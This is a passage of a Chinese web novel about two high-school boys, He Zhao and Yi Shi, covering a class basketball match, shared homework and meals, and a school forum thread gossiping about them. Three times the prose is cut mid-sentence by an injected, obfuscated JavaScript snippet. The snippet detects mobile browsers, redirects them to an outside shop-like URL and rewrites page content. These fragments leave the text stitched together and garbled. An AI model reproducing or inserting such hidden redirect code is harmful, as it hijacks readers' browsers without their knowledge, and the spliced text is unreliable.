何崇山似乎也看出来了,凑上去不知道跟易时说了什么,转头直接向贺昭跑了过来:“昭哥别乐了,你上换吴峥下来,配合一下易哥,他不认人。” 贺昭证实了自己的猜想,顿时更乐了,上场后站在易时附近还忍不住笑了出来:“三人打七人好玩吗?” 易时瞥了他一眼,没有说话。 贺昭又说:“带球过人可真帅,可惜过的是自己队友。” 易时一顿:“你上来是为了嘲讽我?” 没想到刚刚耍帅耍得那么狠的易时同学也有无语吃瘪的一天,贺昭嘿嘿笑:“当然不是,我这么善良怎么会特地,也就顺便嘲讽一下你。” 何崇山从他们两人身边跑过,拍了一下贺昭的肩膀:“昭儿,好好和易哥打配合。” 贺昭应了声:“好哦。” 贺昭自认自己的优势是反应快且有眼力见,能很好地卡位防守传球掩护队友,和他打配合的人都对配合效果挺满意。 但来回几次他发现易时打球虽然挺厉害,却不太好配合,易时偏向于街头篮球的风格,速度很快但不太拘泥于规则和配合。有把握就直接带球过人,没把握时常出其不意晃过对手也震惊队友,好几回丝毫没有停顿手一拨,直接把球甩向了贺昭。 贺昭不知道他是怎么目不斜视就瞄到自己在他身后,但是作为对友也吓一跳,幸好他反应迅速。 回防的时候易时从贺昭旁边经过,贺昭忍不住了:“哥,你能不能给我点眼神示意?你的队友比你的对手还猜不到你下一步要干嘛,十分懵逼。” 易时淡定地应了声:“知道了。” 贺昭以为易时是随口一答,没想到他说知道了居然真的就知道了,他很快进行了调整,至少在传球之前都会不动声色扫他一眼。 这一场友谊赛很随意,甚至没有用记分牌,只口头记分数。对方水平不高,易时也没有太张扬,任由对方拦着他,只随意找机会把手里的球传给队友,但整一场局势很明显一边倒,临近下课体育老师吹哨结束比赛,贺昭隐约听见有人说五十几分比三十几分,4班惨败。 一整个晚自习,何崇山脸上都散发着欣欣向荣的希望之光。 校长杯篮球赛的规则先是淘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480250|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汰制,再小组循环,3班在去年第一轮就遇见当时高二最强的8班,一轮游,GAMEOVER。 何崇山一直对此耿耿于怀,早就想一雪前耻,今年班里多了个易时,用他的话说就是“简直如虎添翼”。 第二天大课间,何崇山去抽签回来脸上的光立即黯淡了。 班上的男生围了上去,何崇山悻悻地说:“高一13班。” 吴峥松了口气:“高一的而已,瞧你这脸色我还以为抽到了11班,让刚入学的兔崽子见识下咱们不是虚长一岁!” 3班的篮球实力在AB层班算得上最好,只要能打赢开始的淘汰赛,进入前几强应该没有太大问题。 何崇山叹了口气,有些绝望:“我问过了,是体育班。” 有人问:“体育班?什么体育班?” 何崇山:“以前都是高二才开始分体育班,但今年是高一一入学就开始了,听说还特地招了一些体育特长生。” 静了一下,姜林唏嘘:“何大仙你这手气没话说,真得去开开光。” 何崇山一屁股坐在空位上,仰头靠在椅背:“我自闭了,那群不知从哪招来的狗玩意儿,结实得跟牛一样。” 钟原安慰:“他们是搞田径的?也不一定就篮球打的好吧?” 何崇山:“谁知道呢,反正身体素质绝逼很好。” 贺昭膝盖抵着抽屉,翘着两支椅腿晃了晃,陷入了沉思:“体育班啊……” 何崇山把目光看向他:“昭哥,你有什么妙计?” 贺昭慢条斯理地说:“哦不是,我只是觉得张江洋也可以转个体育班。” 忽然感觉到一只手扶住他椅子,往前推了一下,椅子的四只脚稳稳着地。 坐在易时位置上的姜林唰地起立让位,贺昭眼睛不抬就知道是易时回来了。 何崇山宛若看到了救星:“易哥,抽到了体育班,这一把咱们真得拼了。” 易时看了他一眼:“谁抽的?” 何崇山故作委屈地擦了擦不存在的眼泪,老老实实答道:“我。” 易时轻飘飘地说了句:“真行。” 贺昭看了何崇山一眼,又看了易时一眼,抱着手臂再度陷入沉思。 直到上课音乐响起,围在他们附近的人都回到自己座位上,易时看了他一眼:“想说什么?” 贺昭发出一连串感慨:“我好像明白了学校刚开学没多久就举办篮球赛的目的,同学们为了篮球赛这一个目标同进退,齐努力共欢乐。参赛的同学极具班级荣誉感辛苦奋战,没参赛的同学为自己的班级助威呐喊,大家拧成一捆绳结成了同盟,确实利于产生良好的人际关系,促进同学之间的友谊发展,加强同学的情感。” 贺昭霹雳吧啦说到一半,就从易时脸上看出他后悔问了那多余的四个字,贺昭对着他摇了摇手指,高深莫测地笑而不语。 什么表情,说的就是他。 借着篮球赛借着训练,短短两天易时已经几乎可以把班上男生姓名和长相对上号,虽然他依然是不太热络交际的模样,但至少不再像局外人。 班上的人似乎也真正将他当成班里的一员,不再用“转校生”“大帅哥”……这些词汇代替他的名字。 看来篮球赛确实有用。 和高一13班那一场篮球赛就定在下周三,全班第一积极的人是何崇山,而比何崇山还积极的是老周,他自封为篮球教练,迅速定下了训练方案。 但篮球赛再重要也绝对不能影响正常学习,所谓的训练方案无非就是让他们下午下课后抽出一些时间训练,晚自习可以晚一点儿到。 可用来练习时间确实很短,一眨眼和高一13的篮球赛就近在眼前。 19. 比赛 和何崇山调查来的资料一样,高一13上场的牛犊子学弟们一个赛一个高大,少年人的体型还算不上魁梧,却相当结实,光腿上紧绷的肌肉就展示着他们过人的运动能力。 何崇山扫了一眼对方的阵容,沉着安排:“待会儿昭哥跳球。” 贺昭素来在这种场合给面子,爽快地点了点头:“好啊。” 高一13跳球的是他们个子最高的中锋,瞧着比贺昭要高小半个头。姜林下意识看了眼个子更高的易时,训练时候定的是易时跳球,但易时已听从安排转身直接走进了篮球场。 姜林小声问:“不是易哥吗?” 何崇山拍了拍他肩膀:“放心吧,那家伙跳不过昭哥,易哥和昭哥搭配打得好,可以接应。” 如他所言,中锋的个子虽然比贺昭高也比他强壮,却没有讨到好处。球垂直抛起,两人几乎是同时触到球,但贺昭反应更快,在对方碰到球的同时,将球拍往对友的方向。 易时的手一勾就拿到了球,对方的5号和15号立即贴身上去。易时带球速度很快,5号和15号也很快,分毫不让地如影随形。 忽然,易时猛地停住,随手一抛将球传给了前来接应的何崇山。何崇山毫不犹豫带球直逼篮下,何崇山是校篮队员,本就是对方重点防守对象,对方的中锋和15号极为迅速地追了上去,断了他的球路。贺昭配合地跑上前作势要接应,何崇山做了个假动作晃过中锋,没有传给贺昭反而往后用力一抛,篮球在空中划了一道弧线,重新回到了易时手里,易时压着三分线起跳,篮球清脆进框。 高二3班率先拿到3分,老周带着同学们激动地大喊口号“3班3班,最不一般”。 贺昭回防的时候从易时身边跑过,吹了声口哨,笑着举起手,易时看了他一眼,抬手跟他击了个掌。 接下来却没有开局那么顺利,高一13立马调整战略,对易时的防守变得十分严密。 两个班各有各的优势,3班的配合打得好,尤其何崇山和易时命中率特别高,投篮几乎十发十中,但很明显除了他们两人和贺昭,其他人不管谁上场都被对方身高压制得死死的。高一13的体育生无论是体型身高还是体力速度都没话说,亏在年轻气盛有些急躁,第一节就犯规了三次。 上半场原本是3班领先,从下半场开始,体育生们一有机会就换人,防守极为牢固,场面一度胶着了起来。 贺昭撑着膝盖唏嘘:“他们这是要耗死我们这些老人啊。” “痛吗?”对方拿到球,易时刚好退到贺昭旁边回防,问了一句。 贺昭刚刚抢篮板时被对方5号的手肘撞到胸口,5号做得很隐蔽,动作幅度不大,裁判没有抓到。 贺昭没想到易时竟然看到了,应了声:“当然痛,幸好我骨头硬,应该没断。” “几号?”易时问。 几号?什么意思?几号撞的他? 眼看对手就要冲过来了,贺昭不知道他是不是问这个,狐疑地说了个:“5号?” 易时也不知道有没有听见,迅速地从他旁边跑过,去拦截带球的人。 这一场篮球赛运动量极大,贺昭没想到自己这个替补竟然要从头坚持到尾,明显有些体力不支。眼看易时抢到球冲到了篮下,何崇山跑上去接应,可以不需要他,贺昭便在己方三分线外徘徊偷个懒喘口气。 他刚抬手用护腕擦了擦额角的汗,就听到裁判吹了哨,做了犯规的手势。 易时应该是被推撞,起跳投篮入框后摔倒了,和他正面交锋的5号被判犯规,罚球两次。 一旁的何崇山拉起了易时,而5号对着队友做了摊手无辜的动作,明显有些不爽。 易时罚球两发两中,3班重新领先。 从旁边经过的时候,贺昭忍不住问了句:“你不会在给我报仇吧?” “我有那么无聊?”易时反问。 人看着是不像,但是行为很像啊。 但贺昭实在累了,没力气也不想跟他在这种场合辩论,摆了摆手:“行吧。” 打到第四节后半段,高一13领先了2分,其实比分也没有拉开太大距离,一直都是你多几分,我又反超你几分。 但用张江洋的话说就是,就这种比赛才好看才精彩。不止是场上的人仿佛不知疲倦地高强度运转,场下的人也跟疯了一样,完全沉浸在紧张刺激的气氛里。 最终,在双方啦啦队的声嘶力竭中,是高一13班以多2分的成绩赢了这场比赛。 这一场绝对是贺昭有生以来打得最精疲力竭也是最激烈的篮球赛,激烈得不仅是参赛队员,现场也掀起了巨大情绪浪潮。 比起对面一派喜气洋洋地吼叫庆贺,3班明显情绪跌入谷底,下场的队员一个个累得虚脱垂头丧气,老周领着左芮在一旁不断安慰:“已经很棒了!真的!为你们骄傲。” 校队得力干将张江洋同学背着相机拍照,大咧咧站在3班人群里评价:“哥,何大仙,你们这一场比赛真是赛出了决赛的风采,虽败犹荣。” 何崇山原本闷不作声仰头喝水,忽地将矿泉水瓶往地上一砸:“草踏妈的!我这辈子最讨厌虽败犹荣这四个字!” 贺昭刚好站在他旁边,吓了一跳:“哎哟我去。” 何崇山向来脾气温和,鲜少有这种情绪失控的时刻,张江洋捏了捏他的肩:“好了好了,打都打完了,就让他过去吧,大不了我替你们报仇。” 何崇山:“你知不知道,原本我们可以赢的,如果……” 张江洋安抚:“我知道我知道,我十分理解你此刻的心情。” 贺昭原本也有一点儿郁闷,被何崇山这么一吓反而吓好了,瞟了眼默默坐在球场一旁的水泥台阶上喝水的易时。 双腿随意敞开,身体前倾,手肘支在膝盖上,瘦而宽阔的肩微微隆起,撑起衣服,汗滴滑落……贺昭已经看见不远处有好几个女生红着脸偷偷用手机拍他。这坐姿,这手,这气质……如果不是知道易时是什么性格,贺昭简直要怀疑他是故意在摆pose。 注意到易时手中的矿泉水瓶已经空了,贺昭随手拿起张江洋买的冰凉版矿泉水碰了碰易时的脸:“喏,别这么深沉了,你今天已经很棒了超帅的,哎,也就是运气有点儿不好。” 易时接过了矿泉水,握在手上,面无表情地说:“我运气惯来不好。” 贺昭在他旁边坐下:“我可没说你,我是说我们,我们今天运气整体有点儿不好。你可是我们中的福星,如果不是你来了,这比赛怎么打没法打啊,就是一边倒被狂虐的局面。” 沉默了一下,易时正要开口,贺昭一本正经地说:“你不要再说了,我很累了,只能安慰一次。” 易时看着他,忽然很轻地笑了一下:“我只是想说,你那投篮确实会被狂虐。” 贺昭这一场比赛大约投了七八个球,只进了两个,三分之一的准确率都不到。 贺昭辩解道:“我是辅助,最强辅助好不好?我这辅助水平六中第一。” 易时点了点头:“行吧。” 贺昭不爽了:“哎,不是,什么叫行吧?行吧是什么意思?” 易时仰头喝水,装作没有听见。 说不出是什么时候开始,两人中间那一层莫名其妙的别扭陌生的隔膜似乎就这么慢慢消失了。 贺昭依然起床困难,除了周六小测多数时候没法和易时一起上学,但放学却几乎是心照不宣地一起回家。贺昭偶尔被老师或同学叫去耽搁了一会儿,也会看到易时坐在位置上刷题,虽然没有直接说,但贺昭知道易时在等他。 虽然易时一再拒绝,贺昭坚持易时付的房租里包含了午餐费,让林佩玲把他和张江洋的二人小灶改为三人小灶,每天拉着易时和他一起在林佩玲的甜蜜时光解决午餐。一开始易时还有些别扭,次数多了倒也接受了,只是坚持吃完午饭把碗筷收拾洗干净,还偶尔在店里忙不过来的时候主动帮帮忙。 比起早上起来就见不到人,中午吃饭也见不着人的张江洋,有时候贺昭觉得易时反而更像他的兄弟。 虽然这兄弟住在楼上就是了。 不仅如此,贺昭这个“孤家寡人”也总算体会到了有同桌的好处,在贺昭上课走神被点起来回答问题的时候,易时会不动声色地在草稿本空白页写下答案。会提醒他下一节课是什么课,还会在贺昭转笔把签字笔摔断水的时候任由贺昭从他抽屉掏笔。在贺昭被老师调侃或者示众时,易时也会和其他玩得好的同学一样跟着乐,虽然大多情况下他也就弯一下嘴角。 最最重要的是,贺昭以前遇到不想写的作业都直接抄热心同学罗浩的,但罗浩写作业慢,贺昭往往一个晚自习等得心急如焚。而现在同桌就是另一热心同学,还是个写作业很快的热心同学。 当然,这位热心同学并没有罗浩那么热心。 每一次贺昭问易时“你XX作业写完了吗”,易时要么回答“没有”要么回答“自己写”,贺昭理所应当在他说完“自己写”后自觉从他桌上翻出那一份作业,易时也从没有真的制止过。 易时的舅舅偶尔会在微信上简单询问易时的近况,每次询问还会给贺昭发个红包。 贺昭犹豫了下,还是把他和易谦的聊天记录截图发给了易时。 虽然无非每次就是答易时都挺好的,但次数多了贺昭总觉得自己好像背着易时做了什么见不得人的交易。 还是要看看易时对此是什么态度,贺昭摸不准他和易谦关系好不好。 易时搬过来后似乎就没有回过他舅舅家,应该算不上很好,但是看他们之前见面交谈,也不至于太差。 贺昭叩了叩易时的桌面,对着他用口型说:“看手机。” 易时从抽屉摸出手机,扫了一眼,似乎对此丝毫不惊讶,漫不经心地说:“红包给你就收着,如实回答就好。” 如实回答?要如实到什么程度? 贺昭小声问:“那要是他以后问我易时早恋了吗?考试第几名啊?和班上哪个女生走得近啊?万一你真早恋了或者考砸了我也如实回答吗?” 易时:“他不会问这些。” 贺昭:“怎么不会,家长不都爱问这些吗?” 易时:“他不是家长,只是监护人。” 贺昭本来想说那有什么不一样,想了想,好像确实有些不一样。 贺昭:“那你不是很爽,父母都在国外,舅舅又不管这些,就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480251|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放养一样?” 如果是两周之前,贺昭绝对不会说出这样的话,但是不知道为什么几乎是脱口而出,说出口的时候他就有些后悔了。 幸好易时并不介意,仍然低头写物理题:“父母在国内也不管这些。” 贺昭转着笔:“难道这就是不同国家不同父母的区别?” 易时唰唰唰地将公式写得龙飞凤舞:“也不一定。” 贺昭发现易时写汉字一笔一划还挺认真,一到英文就连笔得亲爹妈都不认识。 贺昭忍不住了:“哎你这字老师看得懂吗?” 易时反问:“这么简单为什么看不懂?” 贺昭一时语噎,过了好几秒才说:“可我看不懂,你写好点呗。” 易时:“自己写。” 贺昭毫无兴致地说:“我今天心情不好,不宜写物理,改天再自己写吧。” 易时冷淡地看了他一眼:“再摔了,不会借你。” 话音刚落,贺昭不停转着笔的手一滑,笔掉了下来。 贺昭弯腰捡起笔,在草稿纸上划了划,果然断水了,他幽幽地看着易时:“你要是刚刚不恐吓我,凭我高超的技术是不可能摔的,都是因为你,你不能不对我负责任啊。” “贺昭,晚自习不要交头接耳。”坐镇讲台的物理老师直接点名。 贺昭眼睛眨也不眨:“老师,我问易时物理题呢。” 物理老师哟了一声,从讲台上走了下来,发现两人竟然真的都在做物理卷子,他满意地在教室里绕了一圈又回到讲台:“问题可以,动静小点,别影响到其他同学。” 贺昭乖巧地点了点头,一侧头马上变了副面孔:“写完了吗?能给我抄了吗?” 易时嗓子里发出一声类似嘲笑的轻哼,但迅速写完最后一题还是按着卷子推了过去。 下了晚自习,姜林回过头:“哥,新开了家花胶鸡火锅,去不去?” 贺昭:“吃什么的?” 姜林打开手机翻开介绍给他看:“有个会跳舞的鲍鱼,店家真的会把活的鲍鱼端上来给你欣赏……” 贺昭毫无兴趣:“我不想欣赏会跳舞的鲍鱼。” 姜林:“又不是真的跳舞,就只是会蠕动代表它很新鲜。” 贺昭:“我也不想看到会蠕动的鲍鱼。” 姜林又划开另一家,点开视频给他看:“那这家呢,日式烧烤,地狱炙烤绝对新鲜大章鱼!” 贺昭瞥了一眼,视频里店员正把一只不断蠕动的大章鱼按在烤架上烤着,然后用剪刀把一根根仍然在蠕动的章鱼足剪下来…… 贺昭看不下去了,把他的手机推开:“阿弥陀佛,我只想看见可以吃的死的熟的,活生生这样好残忍,那可是生命啊。” 姜林不服气了:“你上回吃活蹦乱跳的虾怎么不觉得残忍?怎么还挺开心?鲍鱼和章鱼是生命,虾就不是了?” 贺昭想了想,舔了舔嘴唇:“但是虾好吃。” 姜林无语了,转头问易时:“易哥,你说去吃什么?” 易时合上练习册:“吃虾吧。” 贺昭举起双手,做了个无声的欢呼。 姜林配合地干笑了两声呵呵:“易哥,你不能这样偏袒贺昭。他挑食,听他的我们得天天吃虾。你可能还不知道贺昭是什么样的人,他是个变态,喜欢吃什么的时候可以天天吃,怎么吃都吃不腻,直到到达一个临界值,看到就不想吃才算是个头,然后,找到下一样喜欢的不停地如此循环。” 贺昭:“哟哟哟,易时想吃虾就是偏袒我了,什么叫变态,我这叫长情好吧?” 姜林:“长情?你这不挺绝情的吗?上个月还爱烤鱼爱到死,这个月就想到都没胃口。” 贺昭不理他,转头看向罗浩:“胖子,去不去吃虾?” 罗浩摸了摸肚子:“我想吃烤肉。” 真是一千个人有一千个想吃的东西。 贺昭迅速敲定:“今天吃虾,下次吃烤肉,下下次吃跳舞的鲍鱼,行了吧?大锤哥?胖子哥?同桌哥?” 姜林被他一连几个哥逗乐了:“那行吧,我问问何大仙哥他们一起不。” 一队吃宵夜人马集结完毕,迅速往目的地移动,姜林想了起来:“哥,张江洋有没有跟你说这周日唱k的事,你去不去?” 贺昭:“去不了,周日我得去画室上课。” 姜林:“那易哥呢?去不去?好几个班的人去,有妹子。” 易时回得极快:“不去。” 姜林失望地说:“你们都不去啊那我也不去了没意思。” 罗浩问:“你怎么不问我?” 姜林没好气地说:“周日耶你妈在家,会放你出门吗?” 罗浩老老实实:“不会,但你也要一视同仁问问我啊。” “行行行,胖子,周日去不去唱K?”姜林问。 “不去。”罗浩冷漠地回了两个字。 “所以,有意思吗?”姜林无语了。 贺昭莫名其妙想到篮球赛那一天,易时反问他那句“我有那么无聊?”,郑重地点了点头:“确实,无聊,很无聊。” 旁边的易时闻言似乎顿了一下,又似乎没有。 20. 早恋 虽然今年3班再度悲哀地一轮游,但易时凭着篮球赛上的表现以及帅气的脸蛋在六中小火了一把。 好几个课间,贺昭都看见跃跃欲试或含羞的女生凑在窗前门口装作不经意地偷看。 以前也会有女生这么来看他,贺昭已经习惯且麻木了。 不管是看他还是看易时,他都无所谓,但易时看起来显然不喜欢这样。平时也就一般冷漠,冷冷淡淡像高悬于天的月,可不会真的拒人千里之外,就是看着疏离感重,但在这种时刻会极度冷漠,浑身上下散发着生人勿近的气息。 看到从教室外面回来的易时一脸“我要隔绝世界”的冷漠表情,贺昭不用往外看也知道什么情况,吹了一声口哨。 贺昭单手拿着手机,手指在屏幕上划动,看见学校贴吧上有人发帖,标题十分吸引他——【重金求高二4班易时同学的微信手机号】,下面已经水到几百楼。 第456楼:居然还在顶,大家都很闲啊! 第457楼:真的没有好心人帮帮楼主吗?我愿追加50元,只求楼主拿到后分享给我(害羞害羞 第458楼:+1追加100!!! 第459楼:所以高二4那些近水楼台都不逛贴吧的吗? 第460楼:估计盯着自己班上的大帅哥暗暗窃喜,才不想分享出来,还记得以前有人求贺昭的也没结果(摊手。 第461楼:小气太小气了小气得令人发指,帅哥应该是全世界的!!! 第462楼:你们知道吗?易时竟然和贺昭是同桌!!!高二4的兄弟姐妹上辈子是拯救了银河系吗?为什么别人班里两个大帅哥,我从幼儿园到现在从来没有这样的好运气? 第463楼:我发给在其他学校的朋友看,朋友直接哭了,问我为啥子世界上帅哥那么多,她永远遇不上,我也哭了,为啥子不给我机会跟帅哥同班? 第464楼:贴图贴图,忘不了的篮球帅哥 打开大图,是易时正往回走,微微侧头,抬起手用护腕擦汗。 贺昭以前总觉得拽系男做作,装什么冷漠,装什么酷,装什么拽,但易时改变了他的偏见,确实挺帅的。 果然,要看人。不过易时也没有装吧,他是真拽,浑然天成。 当即一堆感叹蹭蹭就水到了500楼。 第500楼:配上BGM这不是韩剧男主角吗? 第501楼:擦汗这种事放着我来就好了怎么还亲自擦汗呜呜呜 第502楼:只有我发现他眼睛瞟向隔壁吗!!他借着擦汗的动作在偷偷看谁!! 第503楼:哈哈哈哈哈哈看他同桌!我有另外一张图 另一张图的主角是贺昭,应该是有人叫他,他回过头,脸上带着笑容,而照片的左上角正好是易时擦着汗看了过来。 第505楼:我窒息了!贺昭我的白月光!我又恋爱了!我真的好喜欢阳光帅气的男生!少年英气,飞扬自信,干净明亮!以下省略5000赞美之词! 第506楼:谁不是呢!贺昭和易时随便给我一个吧! 第507楼:有没有人觉得,他们两个有点儿配…… 第508楼:我我我!我看到贺昭搂过易时的肩膀,易时没有抗拒!!!除了贺昭我没见到其他人搭易时的肩! 第509楼:真的假的?无图无真相 第510楼:应该是真的,我问过4班的朋友,易时确实和贺昭关系最好,经常一起上下学 第511楼:楼上的你们很不对劲!!(我也这么觉得 第512楼:你们都不对劲!!好朋友好兄弟搭个肩怎么了! 第513楼:等等等等一下!510的朋友,你说你认识4班的同学??? …… 贺昭看得有些乐了,用小号发言“虽然但是,同志们,易时和贺昭都是高二3班的啊!!!”,然后把贴吧链接转给了易时。 贺昭:我问问价格,价格合适就把你微信号卖了然后我们对半分,你看怎样? 易时的手机在抽屉里震了震,他把身体往后拉开,拿出手机漫不经心扫了屏幕一眼,也不知道有没有点进去链接看。 很快,贺昭收到了他的消息:你可以试试。 贺昭装作听不出他字里行间的警告,瞟了他一眼,一脸憋不住地笑着打字:好啊那我试试看 并砸了几个微笑、捧腹大笑的表情包。 姜林神秘兮兮回过头,愣了一下:“哥,什么事笑得这么春心荡漾,你也早恋了?” 贺昭顺手把链接转给了姜林,好奇地问:“也?谁早恋了?” 姜林嘿嘿笑:“你的弟弟。” 贺昭失去了兴趣,头也不抬:“噢又是我愚蠢的欧豆豆哟。” 姜林明显对贺昭的感情更感兴趣:“你呢跟谁聊天这么起劲?” 贺昭:“没谁,逛贴吧呢,你知道我是好学生从来不早恋。张江洋跟谁早恋了?男的女的?” “卧槽,昭哥,思想挺开放前卫啊。”贺昭问出这一句,姜林有些吃惊又有些好笑,“当然是女的啊。” 听闻有八卦的声音,一直不出声的八卦成员从四面八方围了过来。 罗浩问:“谁啊,漂亮吗?” 刘晓芸转过脸:“张江洋之前那女朋友已经分手了?那女生不是挺好看的吗?” “他可真厉害,他不是高一的时候就跟高三的师姐谈恋爱吗?” 这个年纪的青少年对恋爱话题很好奇敏感,对张江洋这样传闻有很多个女朋友的“坏小子”更是好奇。 张江洋长得不算有多帅,但也五官端正,身材高大又是校队的小前锋,经常出风头,在学校里也算有点儿名气。 从初中开始张江洋就交了女朋友,但是都长久不了。贺昭总觉得那就跟闹着玩一样,刚开始还“嘿嘿嘿我女朋友多漂亮”,没多久就觉得麻烦,宁愿打游戏也不回消息,被甩后难过几节课又满血复活。在张江洋单细胞的世界里兄弟比女朋友还重要,如果说张江洋和他哪个好兄弟好上了,贺昭或许还会觉得这段感情有几分真心,不然很大可能就是本能地按照常规寻找对象,单纯被漂亮女生吸引了一下,又或者被哪个女生表白觉得还行被人起哄热闹就在一起了。 贺昭对张江洋的烂情史自然清楚,但他不愿意在这么多人面前摊开了说,只轻轻嗤了声:“他就一个土小孩,以为用点小手段追个漂亮女孩就是爱情了。” 姜林像是想起什么:“你们知道吗,张江洋第一个成功追到的女生还是昭哥教的。” 哪儿有八卦,哪儿就有刘晓芸:“哇哦?详细展开说说?” 有人捧场,姜林连音量都高了一点儿:“别看张江洋那样活跃的性格,其实他真没主动追过几个女孩,几乎都是人家追他。那个女孩吧是他前桌,两人老是拌嘴,昭哥就跟他说想追人家不能这样,要先对人家很好特别好,顺着宠着但是又不直接告白,然后突然冷落一下,如果对方有反应,你就有戏了。” 刘晓芸不可思议地睁大眼睛,上下打量着贺昭:“贺昭,没想到你是情感大师啊。” 贺昭:“什么啊,我那就是在电视上看到的,随便跟他一说,谁知道他竟然当真的,最后还真的在一起了,不过也没在一起多久,小学生的爱情。” 罗浩有些羡慕:“我连小学生的爱情都没有。” 刘晓芸:“张江洋也不知哪里来的福气,一个个女朋友都挺好看的。” 现场唯一一个见过张江洋新女朋友的姜林同学说:“江洋这女朋友个子挺高。” 周日,贺昭下楼准备去画室的时候见到了张江洋的新女朋友,她就站在楼下等人,见到贺昭愣了一下似乎在犹豫该不该打招呼,太明显了。 而且这女生个子是挺高的,估计至少有一七三。 贺昭主动开了口:“等张江洋吗?” 女生更惊讶了,又有些不太好意思:“嗯,你……跟我们一起去KTV吗?” 贺昭笑了笑:“我要去上课就不去了,你们玩得开心。” 贺昭走出小区的时候,张江洋蹬着不知从哪搞来的自行车从他旁边呼啸而过,他女朋友坐在后座搂着他的腰,张江洋头也不回,嗓门却是很大:“哥,我们走了!” 贺昭:“……” 贺昭坐在公交车上刷朋友圈,看见一初中同学发了一张牵手的照片,附言“我的女孩”。 下面一堆点赞和评论。 贺昭:“……” 谁知,贺昭傍晚上完课回来,一下公交就看到易时和一个女生走在他前方,易时高挑很瘦却不单薄,抽条拔节迅速的骨骼撑着宽大的校服硬是穿出几分不羁随性。 这么朴素的校服在他身上竟然也能跟个模特一样。 女生身量不矮,但与易时并排而行显得纤细娇小,也不知道在说什么,女生脚步轻盈雀跃,时不时侧脸看向易时,面上笑得亦是甜美。 啧。 有点儿般配。 还有点儿刺眼。 这明明都要到秋天了,怎么好像春天来了一样? 一个两个三个的。 贺昭不紧不慢落在几米外,体贴又解风情地盘算着待会儿拐进面包店,省得他们回头看见他,他可不想打扰这美好的校园恋爱。 易时却像背后有雷达一样,突然一回头,和他四目相对。 易时:“……” 贺昭:“……” 贺昭一瞬间差点开口解释,别误会,一切都是巧合,我不是有意跟着你们的,这是通往我家的路。 但理智让他忍住了。 这是什么情况,明明是易时和美女约会,怎么尴尬得想解释的反而是他? 不行不行,这也太刻意太没面子了。 要不装作不认识他? 谁知,易时停下脚步,作势等他。 贺昭一时间在心中叹了口气,大哥啊,就不能装作没看见他?好好谈你的恋爱去,无缘无故等他干嘛! 真是好不解风情一男的。 但他还是扬起笑脸走了上前:“好巧啊。” 易时淡淡应了声嗯,看向他背着的画板:“重吗?” 一副我帮你拿的架势。 这突如其来的男友力,可以啊。 但是在女生面前展示自己男友力的同时,是不是忘记了他也是个男生? 贺昭笑了笑:“不重。” 和易时走在一起的女生走近看确实长得不错,五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480252|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官精致清纯。 贺昭无意义地想,原来易时喜欢这一款。 女生看了易时一眼,又看了贺昭一眼,目光带着几分探究和迟疑,最后落在易时身上。 显然,女生在等易时做介绍, 别想了,易时是不会给我们做介绍的。 贺昭主动体贴地开口:“你好,我是贺昭,易时的同学。” 女生笑了笑:“我认识你呀,我也是六中的学生,我是高二2班柳茴。” 易时没有说话,贺昭和柳茴简单客套了几句,也结束了聊天。 整个空气中弥漫着一丝安静。 三人走了一小段路,贺昭暗想,这三人行也太尴尬了吧。柳茴应该也觉得有些尴尬,看了贺昭一眼,又看了易时一眼,又看了易时一眼,这欲言又止的模样,瞧着似乎有什么话想对易时说。 表白么? 现在的同学都这么直接么? 贺昭将目光锁定在拐角处的面包店,看来他确实该去买面包了。 距离抵达面包店还有200米。 贺昭故作淡定地掏出手机假装浏览新闻,落在了他们后一步。 走了几步,他用余光瞟了易时一眼,不禁发出由衷的感叹,这位易时同学是怎么做到全然如同一个尴尬绝缘体一样,丝毫没有反应的? 难道这就是传说中的天赋异禀? 距离面包店还有150米。 距离面包店还有100米。 距离面包店还有50米。 柳茴像是终于鼓足了勇气,满怀期待地凝视着易时,踏出了主动的一步:“下周我要去参加演讲比赛,如果获奖了你会给我奖励吗?” 哇哦,奖励耶。 贺昭内心毫无波澜地想,好偶像剧好浪漫哦。 他真的好像一个巨大的人形电灯泡哦。 安静了几秒,易时说:“你获奖了,学校会给你奖励。” 贺昭正划着手机屏幕,正在假装自己不存在,假装什么都听不见,闻言呼吸一窒,不可思议地用眼尾扫了易时一眼。 这人竟然还一副理所应该的表情? 柳茴失望地嘟了一下嘴。 贺昭不敢表现得太明显,低头盯着手机,暗暗摇了摇头,又听见易时问:“怎么?” 竖起耳朵偷听的贺昭等了好多秒都没有听见回答,微微掀了掀眼皮,易时和柳茴正看向他。 所以,易时刚刚那句话是在问他? 问他干嘛? 他立即指了指旁边的面包店:“啊,我去前面买个面包,你们有事就先走吧。” 